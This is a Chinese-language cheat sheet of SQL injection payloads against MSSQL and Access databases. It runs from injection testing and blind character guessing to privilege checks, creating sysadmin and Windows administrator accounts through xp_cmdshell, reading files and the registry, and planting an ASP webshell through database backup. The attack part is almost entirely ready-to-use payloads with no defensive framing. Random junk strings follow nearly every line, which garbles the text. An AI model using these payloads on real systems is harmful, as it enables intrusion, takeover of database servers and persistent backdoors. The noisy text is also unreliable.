1.判断是否有注入;and 1=1 ;and 1=2
QG3&p<
2.初步判断是否是mssql ;and user>0 ]A+o>#n}x
`I;F$ `\
3.注入参数是字符'and [查询条件] and ''=' vjUp *R>h
bGmx7qt#
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ))T>jh
WAPhv-6
5.判断数据库系统 S#l5y%&
p]T"|! d
;and (select count(*) from sysobjects)>0 mssql jvwwJ<K
PK2~fJB
;and (select count(*) from msysobjects)>0 access QP(BZJC
(z7+|JE.
`/IKdO*!S
q|(W-h+
6.猜数据库 ;and (select Count(*) from [数据库名])>0 (<c7<_-H
anN#5jt
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /X*oS&-M
zfI}Q}p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Acm<-de
}
cNW^4F
9.(1)猜字段的ascii值(access) ~Y!kB:D5;~
MuI2?:~:*4
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 .*/Fucr
nk=$B(h
(2)猜字段的ascii值(mssql) \2e0|)aF6
zGlZ!t:
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 L}k/9F.5
K_&MoyJJ9f
10.测试权限结构(mssql) pdVQ*=c?M
3Ofc\
qUJ
aeQ
p( LZ)7/
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- aX6}6zubr
KY9n2u&4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =:I+6PlF@
, H
kj1x
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
zj{s}*
Yl^mAS[w&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- _}6q{}jn:c
dJk9@u
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,!QV>=
t?eH'*>
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @%ECj)u`O
83Ou9E!W
;and 1=(select IS_MEMBER('db_owner'));-- zGo|JF
K\?]$dK5
DBH#)4do@
r ,(Mu
11.添加mssql和系统的帐户 8p^B hd
H`QQG!
;exec master.dbo.sp_addlogin username;-- D-p.kA3MJ
;exec master.dbo.sp_password null,username,password;-- 5Rv+zQ#GR
7(a2L&k^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- j;~%lg=)
A*yi"{FLi
;exec master.dbo.xp_cmdshell 'net user username password ;{Ux_JEg
Kq6jw/T
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- mI1H!
]$iqa"{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- :l u5Uu~
O6s.<`\
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &2.u%[gO[q
(R}ii}&
/F/;G*n
_=XX~^I,
12.(1)遍历目录 A<MtKb
f>$``.O
;create table dirs(paths varchar(100), id int) .?W5{U
%eWqQ3{P]
;insert dirs exec master.dbo.xp_dirtree 'c:\' hVpCB,
W7No ls{
;and (select top 1 paths from dirs)>0 9WG{p[
@* ust>7
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ib6^x:HGU
qCQ./"8
MjL)IgT
io2)1cE&f
(2)遍历目录 4Ft1@
Ukz;0q
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- vw>j J
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y(jg#7)
^ZRYRA
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 W6c]-pc
?9+@+q
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 I27,mS+]
F=a+z/xKT
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &dB-r&4;+
%q3$|>
!RvRGRSyF
lEjwgk {
13.mssql中的存储过程 +~zXDBS9
7*+]wEs
xp_regenumvalues 注册表根键, 子键 QP@<)`1t9
iI1n2>V3y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D=f7NVc >Q
OW;tT=ql
xp_regread 根键,子键,键值名 [tT8_}v$LN
RBKOM$7
;exec xp_regread )eeN1G`rDE
JAc_kl{4O
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6=_~0PcY
l:|D,q
xp_regwrite 根键,子键, 值名, 值类型, 值 Dr3n+Q
m|tC24
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f>j wN@(
Wzq>JNny
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $m$;v<PSe
hS [SRa'.
xp_regdeletevalue 根键,子键,值名 #Il_J\#
J97R0
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 dhPKHrS
='?:z2lJ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 q6#<[ 4?
R6;Phdh<>
)KSoq/
TA18 gq
14.mssql的backup创建webshell LwqC~N
-;(Q1)&
use model =HDI \LD<
h+~P"i}&\
create table cmd(str image); K-vWa2
H;ZHqcUX
insert into cmd(str) values (''); 7u.|XmUz
\`.F\Z
backup database model to disk='c:\l.asp'; ^y.nDs%ZT7
vYmSKS
-F/st
BcWcdr+}9
15.mssql内置函数 `bI)<B
`1` f*d
v
;and (select @@version)>0 获得Windows的版本号 U%B(5cC
rt7<Q47QE
;and user_name()='dbo' 判断当前系统的连接用户是不是sa QWnndI_4p
`m@U!X
;and (select user_name())>0 爆当前系统的连接用户 : 9!%ZD
'1SG(0
;and (select db_name())>0 得到当前连接的数据库 }l0&a!C
| $^;wP
U
5w:"x
z$lF)r:Bc
16.简洁的webshell CBT>"sYE1
|f( ~@Q:
use model |k 2" _
)+y G+
create table cmd(str image); f'(l&/4z{
`g''rfk}
insert into cmd(str) values (''); ITJ q
V3N0Og3
backup database model to disk='g:\wwwtest\l.asp';